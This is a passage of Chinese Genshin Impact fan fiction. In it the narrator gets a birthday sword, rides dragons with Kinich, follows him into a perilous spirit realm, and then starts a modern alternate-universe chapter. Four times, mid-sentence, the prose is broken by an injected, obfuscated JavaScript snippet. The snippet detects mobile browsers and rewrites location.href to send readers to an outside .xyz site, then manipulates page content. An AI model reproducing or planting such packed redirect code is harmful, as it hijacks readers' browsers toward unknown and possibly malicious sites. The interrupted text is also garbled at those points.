这个盒子通体是古铜色的,上面绘着两条龙纹,大概是一种祥瑞图腾。窗外的阳光铺在盒子上,厚重的光泽在上面流动。 我似乎感受到盒子里的物品散发出的火元素力,那种感觉醇厚而温暖,与达尔的元素力如出一辙。 我拔开盒子的扣锁,期待无比地掀开盒盖。 一把亮丽的朱金色短剑映入眼帘。 “真好看啊。”我取出这枚短剑,轻轻碰了碰它锋利的刃首。 “真的,很适合少爷呢!”达利也也感叹道。 短剑的尺寸非常合适,简直像是量身定做。 我试着挥了挥。锋利的剑刃割裂空气,铮铮回响在房间中传荡,仔细看时,似乎还有火元素力的波痕。 一张压在盒子底层的黄色纸条露了出来。 [见字如晤: 伊迷,当你收到我给你准备的礼物的时候,我大概正在巡夜者战场上厮杀,为我的荣耀和我们的纳塔而征战。这是我陪你过的第一个生日,我想,还是应该隆重一点,所以我就把这个冒险途中得到的压箱底宝剑拿了出来,是不是看起来很帅?喜欢吧! 这个短剑有很多意想不到的功能,虽然使用这些功能,还是需要元素力的驱动,但你要相信我,等我回来,一年之内,绝对让你成为有神之眼的悬木人优秀战士。 现在的话,你能用上的,就是简单的劈刺功能。这个宝剑本身带有一部分我留下的元素力,所以,在面对意想不到的威胁的时候,它能暂时帮助你提升抗敌能力。虽然有符箓护身,但是上回出了那样的事情,我果然还是不放心你呢! 总之,就是这样,你等着我的好消息吧!哦,对了,祝你接下来每天都高高兴兴的,做一个自由的人! 你的好朋友达尔] 这家伙。 有点感动。 我郑重地把短剑佩戴在身侧。散发着寒芒的利剑在左,朱红色的符箓在右,我觉得我简直所向披靡。 谢谢你,达尔,你一定要安全回来,等我见面我要好好感谢你。 * 一上午,我都在爱不释手地挥砍达尔送给我的短剑——虽然挥得毫无章法。 下午的时候,基尼奇如约赶来。 刚见面,他就说:“走吧,伊迷,我带你去一个地方。” 我好奇地问:“什么地方?” “到了你就知道了。” “搞这么神秘,”我吐槽道,“你要表白还是要拐卖啊。” 基尼奇没说话。 他带着我找了一条不认识的路,沿着山路七拐八绕,走了一段距离:“到了。” 我观察了一下眼前的场景,说:“这不是之前遇到野熊的那片森林吗?” 基尼奇带我来这干嘛?再猎一次野熊吗? 我被自己的想法逗笑了。 “不是那片,”基尼奇解释道,“这一片林子更安全,而且……更有体验感。” 体验感?真猎野熊啊。 我错愕地看着基尼奇。 基尼奇似乎猜出了我在想什么,按了按眉心:“不是打猎,准确点来说,是丛林冒险。” 他吹了声口哨。 片刻,两条绿色的龙从空中窜了上来。它们都是如出一辙的绿黄配色,长着巨大而蓬松的尾巴,露出来的两双眼睛纯净而天真,瞳孔似乎还是星星的形状。 “这不是匿叶龙吗?”我问道。 “对,”基尼奇点点头,“我和它们做了交易,它们负责带我们进行一次森林冒险,路线我设计过,也亲自试过,没有任何危险。” 这么刺激?坐龙身上? “和龙也能做交易?真有你的,”我用肩膀撞了撞他,“我们只需要坐在它们身上吗?” “是的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982084|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,匿叶龙的颊袋里有火榴果胶,可以卷住树枝飞行。” 听起来还挺刺激。 我跃跃欲试:“那我们走吧!” 基尼奇托着我的腰把我送了上去。匿叶龙的羽毛很柔顺,坐下来就像是陷进了棉花。 我现在终于能体会达尔最开始带我坐流泉之众光道时所说的“自由”了。 “扶好,”基尼奇嘱咐道,“准备出发了。” 下一秒,匿叶龙伸出长长的果胶,卷住远处的枝桠,身体腾空而起。 就像坐秋千一样。 “嗷呼——” 纳塔的风从耳畔呼啸而过,恼人的热意如潮水般褪去。金色的阳光,绿色的树叶,灰色的枝干,红色的野花,紫色的湖泊……种种色彩在极致的速度里化为虚影,像是一场打翻了染料的瑰丽梦境。 我隐约听见了龙群的吐息声。 转头一看,基尼奇与我并肩,苍绿色的眼眸成为色彩中唯一的鲜明,专注地看着我。 “基尼奇——那是什么?” 我指了指远处高耸的黄色巨龙。 “那是托托,”基尼奇回答道,“很大对吧?它们是一个聚落,每一条龙都有自己的名字。” 匿叶龙朝那个方向飞去。 我从托托的下巴下方飞过,心里一片震撼:“真了不得啊,纳塔。” * 结束的时候,我的嗓子已经哑了。 一个下午,我几乎认识了纳塔的所有生物。 “谢谢你的礼物,”我呼出一口长气,“我真的很喜欢。” 基尼奇的这场冒险几乎让我找回了最初玩游戏的那种新奇感觉,也让我很意外地找到了一种归属感。 怪不得他前一阵一直说要让我别焦虑,这样看来,他准备这个礼物还真是很费心。 我们停在一个据说是叫“彩云峰”的地方。 “这里是附近最高的地方,”基尼奇席地而坐,“在他发酒疯的时候,我有时候会一个人到这里来躲着。” 刚经历一场极致的刺激,我现在的脑子还有点不好使。反应了半天,我才觉察到基尼奇是在说他的便宜爹。 “这样也好,”我学着基尼奇的样子,坐了下来,“身处在泥泞中,思考星空是最好的对策。” 在现实生活中,每当在独身公寓里感到孤独的时候,我也会一个人坐在深夜的阳台上,看各种各样的星星,了解它们的名字,分辨它们的区别。所以我买的独身公寓向来是最高层。 “对了,”基尼奇忽然说道,“我还有个东西想要送给你。” “两份生日礼物?”我看向他。 基尼奇笑了一下:“希望你能喜欢。” 他递给我一个毛茸茸的东西。 我定睛一看,是个露着毫无阴霾微笑的小人,黑发黑眸,头上还系着一条火红色的发带。 “这不会是我吧?” “对,”基尼奇躺了下来,“是我跟卖织物的老奶奶学的,里面缝了护身符。” 我很惊讶:“亲手缝的?” 我连忙躺了下来,侧着身看着他的眼睛。 他眨了眨眼,说:“很早之前就开始准备了——之前问你喜不喜欢毛绒玩具,你没什么反应,我还以为准备错了。” 他说这句话的时候特别像一个委屈的小孩子。不过,他本来也就是一个七岁的小孩子,只不过外表常常表现出不符合同龄人的成熟。 我伸手摸了摸他的头发,似乎也毛茸茸的。 “谁说我不喜欢了,我最喜欢毛茸茸的东西了。” 23. Chapter22 夜空静谧。 我们刚躺下没多久,却听到了一声不合时宜的狞笑:“你这小子,不在家里乖乖打猎,跑这里来疯玩了。” 基尼奇听到这声音,身形似乎一僵。 我坐起来,看着来客。 ——是基尼奇的便宜爹。 他身上沾着浓烈的酒气,隔着老远都觉得熏人。 我下意识捂住鼻子,说:“基尼奇今天接了我的委托。” “哟,少爷也在啊,”他似乎更兴奋了,“基尼奇接了你的委托?委托费多少,可不要浪费小奇干活的时间……” 这人无非是想要摩拉。 我拿出身上的钱袋,摸索了一阵,把他想要的东西扔给他:“给你,麻烦你走远点,委托还没完成。” 他数了数手上的摩拉,似乎还是不满意。 半晌,他阴恻恻地说:“不是我不给少爷面子,只是最近基尼奇实在是调皮,今晚还是得跟我回家一趟,好好教育教育。” 说罢,他就立刻伸手,打算捞起坐在地上的基尼奇。 “不行,”我挡住他,“做人要诚信。” 他突然大笑,像听到什么好笑的笑话一样:“诚信?诚信是能吃呢,还是能住呢?少爷,别太天真。” 身后,基尼奇戳了戳我,伏在我耳边说:“我们先走,他今晚看样子喝得挺多,不知道会做出什么事情。” 我很满意:“你这家伙终于不说让我先走了。” 进步很大,知道保护自己了。 “说什么悄悄话呢,我也想听听,”酒鬼吹了声口哨,“少爷就把基尼奇交给我吧。” 我们撒腿就朝着山下跑。 但出乎我意料的是,这个看起来喝得跟烂泥一样的男人居然跑得飞快。他手上拖着一根长长的生锈钩锁,用力一甩就钩中了前面的树干,然后整个人跟猴子一样荡了过来。 我现在才知道为什么这个部落叫[悬木人]了。 我们两个小孩根本跑不过他。 “看吧,少爷,跑是没用的,”酒鬼盯着我,然后又看向基尼奇,“走吧,基尼奇,玩也玩过了,今晚你娘受伤了,家里的家务还指望你呢。” 基尼奇摇摇头:“我一会儿就回去,我先把委托——” 我不想让基尼奇今晚回去,照这个架势,他回去了一定会挨打。 怎么办? 但是对面的中年男人却没有给我思考的机会。他直接上前一步,揪着基尼奇的领子就把他拖了过去。 基尼奇挣扎了一下:“放开我,我自己会走。” “喂!” 慌乱中,基尼奇没有控制好平衡,被他的便宜爹推了一把,随即倒在了地上,手掌似乎还按到了一个微微发光的东西。 下一秒,光芒大作。 如流沙般的白色光雾过后,基尼奇的身形在原地消失。 我愣住了。 基尼奇的便宜爹瞪大了眼睛,想要努力找到刚才还拎在手里的基尼奇跑到了哪里。 半晌,他似乎突然清醒了一样,大叫道:“有鬼!有鬼——” “是深渊入侵——一定是深渊!” 他状若疯癫地大喊大叫,随即心虚地瞥了我一眼,就马不停蹄连滚带爬地跑了。 ——真是个懦弱而恶毒的男人。 但我眼下却管不得他。 我赶紧凑到基尼奇消失的地方,仔细研究了一下他碰到的东西。 这是一个微微散发着莹白色光芒的黑曜石石块,上面还刻着古老而繁琐的花纹。只不过,这些花纹的中央,有一部分已经被磨损掉了,还残留着枯枝烂叶。 看样子,这个黑曜石块已经有一段年岁了。 黑曜石……我记得黑曜石在纳塔里应该是有特别含义的。之前,在悬木人部落里,我也见过这样的黑曜石,上面的花纹似乎与这个如出一辙,而且据当时的龙医生所说,黑曜石是与纳塔的大灵联通的。 我知道这个世界是游戏世界,也有类似于元素力的设定,所以基尼奇消失应该是碰到了某一种秘境。 只是不知道,这种秘境到底安不安全。 我试着伸出手指碰了碰这块黑曜石。 一道冰冷而机械的声音在我脑海里响起。 [系统警告:该秘境危险程度较高,进入后将无法主动退出,请玩家慎重考虑是否进入!] 果然是秘境,甚至还有系统提示。 [系统警告:检测到玩家尚未解锁战斗系统,生命值仅剩50,建议玩家不要进入此秘境!] 我知道作为一个以脱离故障游戏为目标的玩家,我不应该进入这个秘境。我可以出去搬救兵,可是这里离部落很远,来回要很长时间,基尼奇…… 不管了。我心下一横,将整个手掌完全覆了上去。 如坚冰般的冷感传来,几乎瞬息,我就感觉自己所处的环境发生了变化。 我稍微观察了一下。 一眼望去,这里的地面几乎全是莹白色的冰原和凸起的灰色山脉,间或有几条翻滚着紫黑色雾气的深色河流淌过。河边长满了散发着滋滋电流的鸦色花草,花瓣光尘随着大风飘起飘落。天幕低沉,能清晰地看见触手可及的宇宙星球。 这里的风也很奇怪,裹挟着呜咽声与白雾,像是灵魂在挣扎着找到回家的路。 这里应该是一个异空间,说不定还与纳塔的大灵设定有关。 [系统提示:玩家已进入秘境“被侵蚀的灵魂故土”,开启隐藏支线任务。] [目标:存活三天。] 我并没有闲暇思考系统言语中透露出的信息。 一下地,我就四处张望,想要找到基尼奇的身影,生怕跟上次和达尔进兽境一样,两个人被分离开来。 好在,穿着灰白色衣服的少年好端端地站在我面前。 “你怎么也进来了?”基尼奇见到来人是我,收起了警备的姿势,“这里不安全。” 我白了他一眼:“我怎么可能放着你不管?” 基尼奇环视了一圈,问:“那个人呢?” “他逃走了,”说到这个我就来气,“希望他识相点,回去告诉部落里的人,搬救兵过来。” 基尼奇思考了一下:“我觉得可能性不大。” “……我们先找个安全点的地方过夜吧,短时间内估计出不去。” 我没有告诉基尼奇我判断的理由,基尼奇也没问,似乎很信任我。 系统说要存活三天——根据之前玩别的全息游戏的经验来看,一般这种存活类的任务,危险系数都很高。我之前曾经玩过恐怖全息游戏,它的主线也是存活三天,每一天都有不同的怪物boss。 不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982085|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里的情况怎么样。 我看了看腰侧系的两样东西,暗自松了口气。 还好今天是我的生日,收到了达尔的元素力短剑,要不然我们两个没有元素力的小孩,真的是连一点还手能力都没有。符箓的话,我并不想要主动触发它,毕竟达尔现在还在战场上,盲目将伤害转移的话,说不定他会危险。 我叹了口气。 基尼奇忽然指了指远方的一个地方:“那里应该是有可以落脚的地方,我们小心前进,到那个地方看看。” “好。” 我点点头,循着基尼奇指的方向看去。视线的尽头,似乎有个岿然不动的庞大山体。 我抱了抱手臂:“咱们赶紧去吧,这里太冷了。” 基尼奇看了我一眼,然后毫不犹豫地脱下自己的外套:“给,穿上。不要拒绝,你身体刚好,如果在这里生病会很麻烦。” 灰白色的粗布衫递了过来,我转身把它套在了身上,刺骨的寒意稍微消退了一点,取而代之的是基尼奇身上的温度。 见我穿好衣服,基尼奇才说道:“对不起,在你生日当天发生了这样的事情。” “这不怪你,”我揽了揽衣袖,“要怪也是怪那个酒鬼,况且,这是我自己的选择,你可是我最好的朋友。” 我们沿着冰冻的大地行进,尽量走在破碎山脉边缘隐蔽的地方,绕开那些大得出奇的紫花。 视线尽头的庞大山体逐渐明晰。 “这山长得好奇怪,”我摸了摸下颌,“似乎有点像一条龙。” 基尼奇怔了片刻,旋即点点头:“这样一说确实很像。” “……据说纳塔的远古时代是龙的国度,当时的龙跟现在的龙相差甚远,体型应该能达到这个程度。” “你是说,”我仰头看向被层云遮蔽的山峰,“这座山是远古巨龙的遗骸?” 基尼奇凑近一步,缓缓伸手碰了一下:“有可能。这个触感——倒是有点像黑曜石。” 黑曜石,又是黑曜石。 “行,这个暂且不管,我们先找个能遮风的地方吧。” 山体的话,最好是个封闭洞穴。待在暴露视野的地方,很容易遇到深渊魔物。 基尼奇弯腰捡了一块破碎的山体碎片,然后带着我往山脉中间走。 “这里应该是个峡谷,如果沿着往里走的话,应该会有洞穴。”基尼奇一边说话,一边在山体崖壁上划记号。 我见状也记了下来时的路,以免一会儿迷路。 在这样的压抑环境下,时间概念几乎失去了作用。走了不知道多久,我们才终于抵达巨大峡谷的终点,那里果然有很多洞穴。 基尼奇捡起一块石头,扔进其中的一个洞穴。 “砰——” 滚动的声音很快消失。 “这个洞穴应该是封闭洞穴,”基尼奇转头看向我,“我们最好待在这样的洞穴里,以免要兼顾两头入口。” 我朝他竖了个大拇指,率先一步踏入洞穴。 基尼奇找来一些巨大的石块,滚动着挡在洞穴入口。半晌,他才进来:“这里似乎生不了火,夜里可能会有些冷,如果你受不住,可以抱着我。” [系统提示:恭喜玩家在秘境“被侵蚀的灵魂故土”存活过前半天,隐藏支线任务已完成六分之一。] 要入夜了。 24. Chapter23 “伊迷,你怎么样?” 寂静的黑暗中,我听到少年特意压低的清醒声音。 “还好,还能熬,”我叹了口气,“说起来,这还是我第一回在野外过夜。” 自从独立以后,不管是全息游戏还是现实世界,我还从来没有委屈过自己。 我揽了揽身上的外衣:“你呢?你非要把衣服让给我,不冷吗?” “其实我之前——家里收成不好的时候,也经常在野外过夜,”基尼奇回答道,“那时候,我就待在白天布置好的陷阱旁边,屏息等待猎物上钩,常常一晚上不能合眼,第二天早上裤脚都在滴水。” “其实那个时候,我总希望旁边能有一个人。” 总感觉在夜幕中,基尼奇的话好像变多了。 小话痨。 “那你现在可是如愿了,”我开玩笑道,“现在本少爷可是待在你身旁陪着你。” 没料到,对面的人却认真道:“嗯,我很满意。” 我能感觉到他语气中的高兴。 但转念一想,我又觉得自己像一个骗子。毕竟,我迟早都要离开这个游戏世界,到时候,基尼奇又要回归一个人的孤独生活。 “……从小到大,你就没有什么别的朋友吗?”我试探性地问道。 “没有,”基尼奇诚实道,“我总是在做委托和种地捕猎的路上,跟同龄人的话题并不多,况且由于那个原因,他们不敢与我交往。” 我知道他说的“那个原因”是指他的家庭环境。 气氛陷于沉默。 半晌,我纠结着问出了一直想问的话:“基尼奇,呃,我是说如果,如果有一天我不辞而别,你会很难受吗?” 我不是没想过找到离开游戏的方法后,退出游戏,等到一切正常的时候再度进入。但这毕竟是个已经故障过的游戏,我很不喜欢这种自己的命运把握在未知手里的感觉。 基尼奇沉默了很长时间才开口,没有回答我的问题。 他只是淡淡地问:“那你还会回来吗?” 我哽了下,才硬着头皮说:“也许会。” 但更多的可能是——也许不会。 我并不想欺骗他。 洞穴外的光线微微透进来,视野里几乎一片黑暗,唯有那双苍绿色的眼睛,在距我不到半米的地方,仍然保留着初见时的纯粹。 我看见那双眼眸闪烁了一下,随即躲开我的视线,看向一旁。 基尼奇说:“……先休息吧,明天还要找出去的方法。” “如果冷的话,可以过来靠着我。” 听他这么一说,我确实觉得洞里的温度下降了,我盖着外衣还手脚冰凉。 我凑了过去,拍了拍他的肩:“你不用紧张,达利也发现我失踪,会来调查的,我们能做的有限,尽力保证安全就行。” 只要能活过第三天就可以。 “好。” * 听着基尼奇的心跳声和平缓的呼吸声,我不知道什么时候就睡了过去。 第二天一醒,我就看见他还保持着昨晚的坐姿,斜斜地靠着洞壁,正望着洞外低沉的天幕。 “……你没睡吗?”我揉揉眼睛。 基尼奇看了我一眼,说:“睡了,醒得早。” “哦,”我睡得手臂还有点发麻,“也不知道现在什么时候了。” 系统提示出现的规律我到现在还没搞清楚,所以也不能根据这个来判断时间。 基尼奇帮我披好滑掉的外衣:“应该接近中午了。你饿吗?” “有点,”我不确定地说,“但是这里面应该不会有吃的吧……” 根据昨天看到的场景,这里面要么就是坚冰和黑曜石,要么就是带电的紫花,这种环境下怎么可能会有吃的? 我本来已经做好饿三天的准备了。 基尼奇站了起来:“我们要找的不一定是吃的——” 啊? “——我能感觉到这里有一种纳塔人都很熟悉的气息,我猜测这是传说中的夜神之国。” 听见基尼奇的话语,我恍然大悟。 刚来游戏的时候,我买的那些杂书,似乎就涉及了夜神之国。与火神相对应,夜神在纳塔应该相当于一种幕后的地下守护神。夜神之国是纳塔人死亡后灵魂的暂居地,简单来说,就是生死的驿站。 这样的话,这种异空间的场景以及黑曜石的联通能力就能解释了。 我竖起耳朵,想要从基尼奇那里得到关于这个重要设定的更多信息:“所以我们需要找什么?” 基尼奇推开洞口的石头,外面诡谲的天空露了出来。 “夜神之国是只存在于概念中的国度,是纳塔人灵魂的故乡。所以,我们只需要在这里找到[食物]的概念就可以了。” “也就是说,我们需要寻找使[食物]成立的逻辑链,”我朝他眨了眨眼,“比如说,如果这里有深渊魔物,我们就需要在深渊魔物进食的时候,找到当时存在的[食物]概念?” 基尼奇点了点头,旋即疑惑道:“你怎么知道这里有深渊魔物?” “呃,”我僵硬地笑了一下,脑子飞快运转,“哦,对,我来的时候发现地上有类似于深渊侵蚀的痕迹。” 这个秘境叫“被侵蚀的灵魂故土”,如果“灵魂故土”指的是夜神之国,那“侵蚀”一定是指一直以来与纳塔相对立的深渊。 基尼奇面色凝重:“那看来我们要谨慎行事——我们并不需要找深渊魔物,可以找正常纳塔人的灵魂,在夜神之国中,灵魂也可能需要养分。” * 昨天晚上时,我们走了那么长的路,都没有看见类似于灵魂的物体。老实说,对于正常人的灵魂在这片被侵蚀的国度是否存在,我并不抱希望。 但尝试一下,总比直接去接触深渊魔物更安全。 外面的环境依旧阴沉。 走在前面的基尼奇抬起手臂挡风,余光注意着周边的情况。 我突发奇想地问道:“诶,基尼奇,你说夜神之国的灵魂还会记得生前的事情吗?” “我不确定,”基尼奇回答道,“如果记得的话,大概只会记得一世?” “一世?” 纳塔还有转世的说法吗? “对,根据传说来看,在纳塔死去的纳塔人,灵魂会下归夜神之国,最终转世投胎。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982086|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>噢,就是地府和孟婆汤类似的东西吧。 基尼奇补充道:“我之前听过母亲讲故事,灵魂初至之时,是有生前的记忆的,但随着它在夜神之国的流浪,这部分记忆会逐渐磨损,最终消亡。” “阿姨还会给你讲故事啊?”我看着基尼奇的背影,突然想到小基尼奇躺在妈妈怀里乖巧地听故事的场景,忍俊不禁,“什么时候讲,我也想去听听。” “那是很久以前的事情了。” 我正兴致勃勃地追问基尼奇睡前故事有哪些,却突然感觉到一只手搭上了我的肩膀。 我不动声色地瞥了一眼。 那双手似乎介于实体和虚无之间,散发着如同坚冰地面一样的莹白色的光,只不过要更淡一些。骨架很小,而且骨节分明。 ——是一双人类女性的手。哦,也不对,只能说生前应该是一双人类女性的手。 我沉默了一下。 前面的基尼奇似有所觉地回头,然后愣在原地。我看见他苍绿色的眼眸中倒映出一个人影。 太好了,看来是人。 我回头,眯着眼笑:“这位女士,请问——” “诶?!” 我吓得一跳三步远,躲到了基尼奇身后。 我虽然玩过恐怖全息,但那是打怪本,不是灵异本啊! 我哀嚎道:“——不是,您头呢?” 这确确实实是人的灵魂,但是这是个没有头的灵魂!她甚至还保持着刚才手放在我肩上的姿势,站在原地没动。 这场景太过诡异了,让我起了一身鸡皮疙瘩。 基尼奇握住我的手,示意我冷静。 我刚开始深呼吸,就听到了脑海里系统的播报声。 [系统提示:恭喜玩家发现“被侵蚀的灵魂故土”隐藏支线boss关联人物。] 你来真的啊,还真有boss啊! 我有点绝望。 基尼奇不顾我的阻拦,上前一步:“请问,你还能说话吗?” 看样子,这个灵魂听得懂基尼奇的话。她似乎想要摇头,颤动了一下,随即才反应过来自己已经没有头了,于是摆了摆手。 基尼奇想了想,把手中一直握着的黑曜石递了过去:“如果不能说话的话,写字应该是会的吧?” 我探出头,看着无名灵魂接过黑曜石,然后就地坐了下来,开始在坚冰地面上刻字,似乎急切地想告诉我们什么。 “基尼奇,”我戳了戳他的腰,小声道,“我们真的要跟她交流吗?看样子会添麻烦……” 毕竟是boss关联人物,就算只是个人类灵魂,我觉得也不是个善茬。 我还想苟过这三天呢。 “没事,”基尼奇依旧冷静,“也许从她这里我们可以问到出去的方法。” 有时候真佩服这小孩的冷静。 一时间,整片天地,除去呜咽的风声,就只剩下石块钻刻坚冰的摩擦声。 半晌,那只灵魂丢下手中的黑曜石,跳到一旁,应该是写完了。 基尼奇凑近了点,准备好好研究下她写了什么。 我正忐忑地祈祷不要有什么麻烦,却看见基尼奇皱了皱眉。 25. if线1·现代篇 if线·现代篇 改变了设定,是伊迷和基尼奇家庭背景美满情况下的现代发展方向。 极度ooc预警!!!狗血预警!!! —————————————————— 又是数学课。好烦,听不懂。 我百无聊赖地叼着圆珠笔,听着窗外聒噪的蝉鸣声,昏昏欲睡。 “伊迷同学,这道题的正确解法是——” 粉笔在黑板上划出刺耳的声响,数学老师周诚恨铁不成钢的视线刮过后排。 “啪——” 圆珠笔掉了下去,我一惊,连忙站了起来:“是——” “——哪道题?” 我不好意思地挠了挠头,听见班上其他人憋不住的哄笑,笑声由小到大,像是交响曲。 还挺有韵律,我忙里偷闲地想。 周诚脸都黑了,皮笑肉不笑地指了指后排:“现在可是夏天,不是你冬眠的时候——伊迷,站后面去吧。” “人家基尼奇同学刚交换来几天就解出了竞赛题,你们这些小土著不觉得羞愧吗?” 我顺从地抱着书本向教室后墙走去,余光却瞥见旁边那个挺拔的身影慢条斯理推了推金丝眼镜。 窗外,云层间的阳光恰好掠过他的眼眸,像是苍绿色森林里燃起的火光。 我撇了撇嘴,走过他的时候,小声吐槽:“让你装爽了。” 这人似乎顿了顿,然后一脸单纯地用不太熟练的中文说道:“承让。” 啧。 * 事情还要从一周前说起。 一个平常的夏日,我们亲爱的班主任周诚,笑眯眯地抱着试卷走进教室。 “同学们,今天真热啊,”他热血地说道,“同学们的学习激情也要点燃这个盛夏。” 有时候真的觉得他说话很尬。 我一如既往地趴在桌子上,一边汲取少得可怜的凉意,一边和同桌吐槽他的话术。 “在这个火热的日子,”周诚环视了一圈,“我们也要迎接一位新同学!” 什么?新同学? 我勉强打起了一点精神,揉揉眼朝门口看去。 门框那里似乎站着一个男生,逆着光有点看不真切。 “他是来自塔国的交换生,”周诚温柔地朝门口招了招手,态度好得令人感动,“来吧基尼奇,跟大家介绍下自己。” 塔国?我好奇地戴上了自己的眼镜。 那个男生走进来了。 他个子挺高,戴了个金框眼镜,头发似乎有一点点卷,还有根小呆毛。当然,最引人注意的,是他那双非常漂亮的苍绿色眼眸。 说是苍绿色好像还不太对。那双眼睛,中间是纯粹如夜空般的墨色,接着如同水墨画晕开一样,自中间的苍山延伸出一条条河流,苍绿色和黄褐色向眼眶周围放射,到眸尾的时候,几乎形成了晕轮,色彩在那里交融,溶于沉寂。 我承认,这是个非常典型的通用帅哥。 作为一个游戏主播,我觉得我很欣赏这样的长相,就像是可以直接搬进游戏建模一样。 交换生微笑着环视了一圈,不知道为什么,最终,他的视线停留在了我的身上。 我有些莫名,但还是朝他点了点头。 对方还挺有礼貌,朝我颔首。我心里对他的好感度又上升了一点。 “大家好,我是来自塔国的基尼奇,”他用着不太熟练的中文说道,“我……” 后面的内容我没有听进去。 因为听到这个声音的一瞬间,我就愣住了。 这个嗓音我非常熟悉。那种微微带有沙哑感的清脆少年音,就像是提琴中弦一样,听起来有些冷淡,但回味过后,却给人一种非常深情的感觉。 这个声音……我似乎是在游戏连线的时候遇见过,但我忘了是什么时候了。 算了,先不管了。 欣赏完美貌,我重新趴回了桌子上。 * 可是,命运总是把缘分莫名其妙地拉长。 放学之后,我一路晃晃悠悠地转回家,一推开门,就看见了下午的帅哥交换生站在我的房间前,似乎在思考着什么。 见我回来,他露出一个笑,朝我挥了挥手:“好巧,原来这是你的家。” 废话,这不是我的家,难道是你的家吗? 我把他丢在原地,冲楼上喊道:“妈,这是怎么回事?” “小迷回来了啊,”我妈拿着一套衣服探出头,然后下楼,“这是你基尼奇哥哥,是塔国来的交换生,以后几年时间都要在我们家度过了咯。” 我皱了皱眉:“寄宿?我们家?你不是不喜欢外人吗?” 我也不喜欢家里有不熟悉的人啊,毕竟我天天喜欢在家里发癫。 她走到我和基尼奇面前,笑了笑:“小奇可不是外人,他是你塔国的玛丽阿姨介绍过来的,很优秀的。” 一听这话,我就知道劝基尼奇换个寄宿家庭的想法付诸东流了。 我妈最喜欢“优秀”的人,因为她儿子的学习很拉胯。 果不其然,她一只手亲切地拉过基尼奇的手,一只手强硬地把我别了过来:“小奇以后有什么生活上的问题,都可以找我和伊迷解决哦——伊迷你也是,多向基尼奇哥哥学习,你看你上回那数学——” 她又开始唠叨了。 我面无表情地瞅了一眼我和基尼奇被迫交握的手,又看了一眼基尼奇微笑的脸,心里总觉得有大麻烦要来了。 * 预感果不其然。 这帅哥留学生表面上中文说得还可以,但实际上,中文的识字能力奇差无比。 “你到底什么时候才能生活自理!” 我恹恹地推开浴室的门。 蒸腾的水雾中,基尼奇慢悠悠系着浴袍腰带。水珠顺着他尚且潮湿的发尾滑向脸颊,然后沿着锋利的下颌落进领口。 “我再讲一遍,这边是热水,这边是冷水,这个是换气,这个是抽水——” “——最重要的是,不要穿错衣服!” 拜我妈奇怪的强迫症所赐,现在我和基尼奇的很多衣服都是一样的。由于我家闲下来的客房摆了很多杂物,我爸妈又还在上班,没有空闲整理,所以基尼奇暂时和我住在一间房间。 两个人的同样的衣服摆在一起,很容易就拿错了。为了防止这类情况发生,我不得不在每个衣架上标注了“奇”和“迷”两个字。 但没想到这个人居然不识字! “抱歉。”基尼奇真诚地看向我。 他的中文咬字依然带着矜持的卷舌音,浴袍下隐约露出紧实的腰线:“我下回不会再拿错了。但其实在塔国,同居人共用生活用品是增进感情的方式……” 我立刻打断他:“谁和你是同居人,这词不是这么用的!而且,入乡随俗懂不懂!” 他没说话了,垂着湿漉漉的头,似乎有点委屈。 我闭了闭眼,尽量放缓语气,别着脸朝他说:“……我没责怪你。下回注意就行了,来到新环境不适应是正常的。” 天哪,我居然还会安慰人。我在心里给自己竖了个大拇指。 我给他讲解完,把吹风机递给了他,就准备离开。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982087|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却喊住了我:“对了,今晚,我能不能借用你的直播设备?” 直播? “你也是主播?”我好奇地看向他,“当然可以。” 他似乎笑了一下:“是的,谢谢!” * 电脑屏幕泛着幽幽蓝光,我第十次偷瞄坐在床沿调试麦克风的基尼奇。 没想到他也是个游戏主播,而且主玩的游戏跟我居然是同一个。这个游戏是个老游戏了,但一直都很火,从塔国到华国,几乎所有大热游戏主播都会玩。 这种找到同好之人的感觉一下子就冲淡了我被迫跟人分享领地的烦躁感。 